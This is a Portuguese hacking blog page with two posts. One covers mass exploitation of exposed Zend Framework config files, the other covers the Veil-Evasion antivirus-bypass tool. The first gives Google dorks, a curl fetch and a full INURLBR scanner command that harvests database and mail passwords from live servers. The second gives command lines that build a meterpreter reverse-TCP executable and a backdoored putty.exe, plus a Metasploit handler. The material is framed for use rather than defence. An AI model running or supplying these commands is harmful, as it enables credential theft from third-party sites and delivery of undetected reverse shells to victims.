Parceiro: Camisetas Hacker

Camisetas para Nerds & Hackers

Mostrando postagens com marcador Framework. Mostrar todas as postagens
Mostrando postagens com marcador Framework. Mostrar todas as postagens

terça-feira, 8 de setembro de 2015

Explorando falha no Zend Framework Full Info Disclosure again! again!

3xpl0r4nd0 Z3nd Fr4m3w0rk Full 1nf0 D15cl05ur3

4Ga1n! 4Ga1n! 4Ga1n! 4Ga1n! 4Ga1n! 4Ga1n! 4Ga1n! 4Ga1n! 4Ga1n! 4Ga1n!   Pois bem meus amigos o blog estava meio parado devido algumas coisas que tenho feito, mas arrumei um tempinho as 3 da madruga pra escrever esse humilde texto e passar algo meio velho, mas que ainda está em alta. devido a falta de atenção de muitos desenvs & admins.  Trata-se de uma falha no Framework Zend que possibilita acessar arquivos de configuração da aplicação local.  Acessar informações como:

4Ga1n! 4Ga1n! 4Ga1n! 4Ga1n! 4Ga1n! 4Ga1n! 4Ga1n! 4Ga1n! 4Ga1n! 4Ga1n! 

Pois bem meus amigos o blog estava meio parado devido algumas coisas que tenho feito, mas arrumei um tempinho as 3 da madruga pra escrever esse humilde texto e passar algo meio velho, mas que ainda está em alta. devido a falta de atenção de muitos desenvs & admins.
Trata-se de uma falha no Framework Zend que possibilita acessar arquivos de configuração da aplicação local.
Acessar informações como:
  1. 'mail.transport.username'
  2. 'mail.transport.password'
  3. 'db.adapter'
  4. 'db.params.host'
  5. 'db.params.username'
  6. 'db.params.password'
  7. 'db.params.dbname'
Exemplo:
resources.mail.transport.host ="smtp.target.com.br"
resources.mail.transport.auth = "loginre"
sources.mail.transport.username = "wangxydlutre"
sources.mail.transport.password = "12333"
resources.db.adapter = "PDO_MYSQL"
resources.db.params.host = "mysql.target.com.br"
resources.db.params.username = "root"
resources.db.params.password = "123456"
resources.db.params.dbname = "db_app_teste"

Tais informações são encontradas no arquivo application.ini,db.ini,config.ini dentro da pasta /application/configs.

Exemplo de estrutura URL:
  • http://{taget}/pasta/application/configs/{arquivo}.ini
  • http://{taget}/application/configs/{arquivo}.ini
Acessando arquivo via CURL:
curl 'http://{target}/application/configs/application.ini' --user-agent 'INURLBR/5.0 (X11; Linux x86_64)'

Acessando arquivo via CURL: curl 'http://{target}/application/configs/application.ini' --user-agent 'INURLBR/5.0 (X11; Linux x86_64)'

Com o conceito de como acessar tal arquivo e do que podemos encontrar no mesmo, vamos para buscar servidores.

DORK[s]:

  • site:br index of "/application/configs/"
  • inurl:/application/configs/application.ini
  • site:com ext:ini inurl:/application/  -inurl:"git*" -github -assembla -inurl:mozilla -inurl:google "params.password"
  • -site:.google.com -site:.github.com -site:.sourceforge.net -site:.googlecode.com inurl:/application/configs/ "params" ext:ini
  • inurl:/configs/ "params.password" db.ini ext:ini
  • -github.com -mozilla.org -.google.com inurl:/application/  ext:ini password

Agora vamos explora em massa com SCANNER inurlbr

Montar comando baseado nas informações que já sabemos, o principal intuito achar possíveis servidores através de motores de busca e já testar o possível conteúdo de cada url encontrada.
O script INURLBR já possui por padrão um conjunto de strings para tal validação:
        
/* [*]ZEND FRAMEWORK
* Zend-Framework Full Info Disclosure
* The username and password of the database may be obtained trough 
* the "application.ini" file
$validation['ZEND-FRAMEWORK-01'] = 'mail.transport.username';
$validation['ZEND-FRAMEWORK-02'] = 'mail.transport.password';
$validation['ZEND-FRAMEWORK-03'] = 'db.params.username';
$validation['ZEND-FRAMEWORK-04'] = 'db.params.password';
$validation['ZEND-FRAMEWORK-05'] = 'db.params.dbname';

COMMAND

SET DORK:
--dork '{YOU_DORK}'ou
--dork-file 'arquivo_dorks.txt'
Use:
--dork 'site:br index of "/application/configs/"'ou
--dork-file 'zend-dorks.txt'

SET ARQUIVO DE SAÍDA:
-s '{FILE}'
Use:
-s 'zend.txt'

SET ID DOS MOTORES DE BUSCA:
-q '{ID}'
Use:
-q 1,6,7,14,22

SET FILTRO DE URLS:Só é incluída no loop de testes urls que contenham a string setada em tal parâmetro.
--ifurl '{STRING_VALIDATION}'
Use:
--ifurl 'configs'

SET REPLACE - MANIPULAÇÃO DE URL:
--replace 'OLD_STRIN[INURL]NEW_STRING'
Use:
--replace '/configs[INURL]/configs/application.ini#'

Manipulação de URL exemplo:
URL original vinda do motor de busca ou arquivo:
http://www.target.com.br/pasta/application/configs/languages/de/

URL modificada pelo replace:
http://www.target.com.br/pasta/application/configs/application.ini#/languages/de/

A function substituiu a string /configs por /configs/application.ini# e tudo depois do "#" é ignorado.

SET COMANDO PERSONALIZADO: 
Só vai executar tal comando se o script achar algo que seja considerado vulnerável.
--commnad-vul '{COMMAND_LINE}'
Use:
--command-vul "curl '_TARGETFULL_application.ini' --user-agent 'INURLBR/5.0 (X11; Linux x86_64)' | grep 'host\|username\|password\|dbname'"
OBS esse comando(command) é somente para mostrar as linhas de senha do arquivo explorado
COMANDO COMPLETO:
php inurlbr.php --dork 'site:br index of "/application/configs/"-s 'zend.txt-q 1,6,7,14,22 --replace '/configs[INURL]/configs/application.ini#--command-vul "curl '_TARGETFULL_application.ini' --user-agent 'INURLBR/5.0 (X11; Linux x86_64)' | grep 'host\|username\|password\|dbname'"


PRINT OUTPUT:
OBS esse comando(command) é somente para mostrar as linhas de senha do arquivo explorado  COMANDO COMPLETO: php inurlbr.php --dork 'site:br index of "/application/configs/"' -s 'zend.txt' -q 1,6,7,14,22 --replace '/configs[INURL]/configs/application.ini#' --command-vul "curl '_TARGETFULL_application.ini' --user-agent 'INURLBR/5.0 (X11; Linux x86_64)' | grep 'host\|username\|password\|dbname'"




sexta-feira, 20 de março de 2015

Conhecendo Veil-framework

Veil-framework

Veil-framework

Veil-framework é uma coleção de ferramentas de segurança (red team) que implementam varios metodos de ataque, com foco
em burlar a detecçao dos anti-virus e 'Veil' é o super projecto para os lançamentos (stable) das ferramentas da veil-framework.
a framework é desenvolvida por: @Harmj0y, @ChrisTruncer, @TheMightyShiv.

E contem actualmente os seguintes modulos:
Veil-Evasion: uma ferramenta para gerar payloads indetectaveis (FUD) usando uma variedade de tecnicas e linguagens.
Veil-Catapult: um systema de entrega de payloads ao estilo do psexec (smb)
Veil-Pillage: uma ferramenta de pós-exploraçao modular (depois do alvo ser explorado)
Veil-PowerTools: projectos powershell com foco em operaçoes ofencivas
Veil-Ordnance: uma ferramenta para gerar shellcode e obfusca-lo usando 2 'encoders' escritos especialmente para este modulo.

Veil-framework: https://www.veil-framework.com/framework/veil-evasion/
Veil-framework (GITHUB): https://github.com/Veil-Framework/
e Veil super projecto (GITHUB): https://github.com/Veil-Framework/Veil
"e que recomendo á maioria dos usuarios a clonar e installar"
  1. [[ Download and install Veil Super Project ]]
  2. git clone https://github.com/Veil-Framework/Veil.git
  3. cd Veil
  4. chmod +x Install.sh
  5. ./install.sh
Como a framework é dividida em diferentes modulos seria dificil neste artigo me referir a todos eles, por isso vamos nos focar em descrever o modulo 'veil-Evasion' ( framework interface + command line syntax + cobalt strike 'cortana integration' ) que consiste na criação de payloads indetectaveis, deixando para outro artigo a descrição dos restantes modulos (veil-Catapult | Veil-Pillage | Veil-powerTools).





Veil-Evasion

A ferramenta de AV-evasão, escrita por Chris truncer chamada 'Veil-Evasion' propõe uma protecção eficaz contra a detecção de exploits autonomos, veil-evasion agrega varias tecnicas de injeção de shellcode em uma estrutura que simplifica o gerenciamento. Como framework Veil-Evasion possui varios recursos e inclui o seguinte:

1 - incorpora shellcode em uma variedade de linguagens de programaçao incluindo C, C#, Ruby, python
2 - pode integrar ferramentas externas como Hyperion (criptografia arquivo EXE com AES-128 bit) PEScrambler (obfuscate win32 binaries) e backdoor_factory (patch executaveis com shellcode e continuar a execução normal do estado anterior ao prepatched state)
3 - a sua funcionalidade pode ser 'scripted' para automatizar a implementação (command line syntax)
4 - payloads em python podem ser obfuscados/compilados em exe usando PyInstaller, Pwnstaller, Py2Exe.
5 - Veil-Evasion pode ser integrado no cobalt strike atravez da utilizaçao de um 'script cortana' (veil_evasion.cna) by Harmj0y.


Uma vez que um exploit foi criado, o tester deve verificar o payload contra o VirusTotal para garantir que ele não vai disparar um alerta quando é colocado no systema de destino, se a amostra é submetida directamente ao VirusTotal e é bandeirada (flag)  de comportamento como software malicioso, em seguida uma actualização de assinatura contra a apresentação pode ser libertada por antivirus (AV) fornecedores em menos de 1 hora, é por isso que os usuarios são advertidos com a mensagem:
"não enviar amostras para qualquer scanner online"

Veil-Evasion permite os testers de usar um check seguro contra VirusTotal. quando qualquer payload é gerado, um hash (SHA1) é criado e adicionado ao hashs.txt localizado no directorio do Veil-Framework (/usr/share/Veil-Evasion/hashs.txt), testers podem chamar o script 'checkvt' para apresentar os hashes para o VirusTotal, que irá verificar os valores de hash SHA1 contra a sua base de dados de mallware. se um payload Veil-Evasion desencadeia uma correspondencia, então o tester sabe que pode ser detectado pelo systema de destino. O 'checkvt' apresenta um resultado positivo (mallware) se 1 dos 44 AV's usados pelo Virus-Total o descobrir, (querendo dizer que ele pode ser considerado mallware só pelo AVG e mesmo assim a SHA1 ver flagged como mallware).

A equipe Veil-Evasion está começando algo que estamos chamando de "V-Day", para a vitória sobre a detecçao por parte dos AntiVírus. No dia 15 de cada mês pelo menos um novo módulo de carga útil (payload) será liberado.





   TUTORIAL 'c/meterpreter/rev_tcp' compiled to exe

list available payloads
TUTORIAL 'c/metrepreter/rev_tcp' compiled to exe  list available payloads


    select payload to be loaded
       select payload to be loaded


config payload settings
config payload settings


output payload name
output payload name


copy files to your home folder
copy files to your home folder


      lançar resource file (multi-handler): msfconsole -r inurlTuto_handler.rc
 lançar resource file (multi-handler): msfconsole -r inurlTuto_handler.rc


execute payload on target machine
execute payload on target machine




     'c/meterpreter/rev_tcp' compiled to exe (command line syntax)

   A framework tambem vem equipada de uma 'command line syntax' que pode ser usada para incorporar o Veil-Evasion nos nossos        propios projectos paralelos, e pode ser acedida com o command './Veil-Evasion.py -h' tambem nos podemos usar da 'syntax' da              ferramenta para criar o mesmo payload (c/meterpreter/rev_tcp) sem precisarmos de entrar na toolkit.

                                                                    Building payloads (command line syntax):
                 ./Veil-Evasion.py -p c/meterpreter/rev_tcp -c LHOST=192.168.1.68 LPORT=666 compile_to_exe=y -o inurlTuto
                    ./Veil-Evasion.py -p auxiliary/coldwar_wrapper -c original_exe=/home/pedro/putty.exe -o putty-backdoored
   ./Veil-Evasion.py -p ruby/meterpreter/rev_tcp -c LHOST=192.168.1.68 LPORT=666 compile_to_exe=y -o rubypayload-to-exe

Files de configuração da tookit podem ser encontrados em '/etc/veil/settings.py' e permite-nos configurar 'internal settings' como:
1 - Path to output the source of payloads 2 - Path to output compiled payloads
3 - Whether to generate a msf handler script and where to place it
4 - The path to pyinstaller for example: /opt/pyinstaller-2.0/



    '(armitage & cobalt strike) Veil-Evasion cortana integration'

Cortana é uma linguagem de scripting de ataque baseada em 'sleep' ambos escritos por raphael mudge,
cortana permite a manipulaçao avançada de armitage ou cobalt strike. Harmj0y construiu um script (.cna) para intregar o Veil-Evasion directamente no armitage ou cobalt strike usando 'cortana scripting', para carrega-lo basta seleccionar 'script' -> load e navegar ate ao 'veil_evasion.cna' script para intergrar o Veil-Evasion directamenta nas frameworks armitage ou cobalt strike.

na primeira execuçao voce sera solicitado a introduzir o path de instalaçao da Veil-Evasion, depois de carregar o script cortana, um menu Veil-Evasion sera aberto na barra superior (cobalt strike), clicando sobre ele abre o 'Veil-Evasion' menu que ira permitir que voce gere uma carga util (payload). "em armitage teremos que loadar o script cortana em: armitage -> scripts -> load"
original article: https://www.veil-framework.com/veil-evasion-cortana-integration/








'c/meterpreter/rev_tcp' video tutorial

By @peterubuntu10[at]sourceforge[dot]net @2015
aka [ r00t-3xp10it ]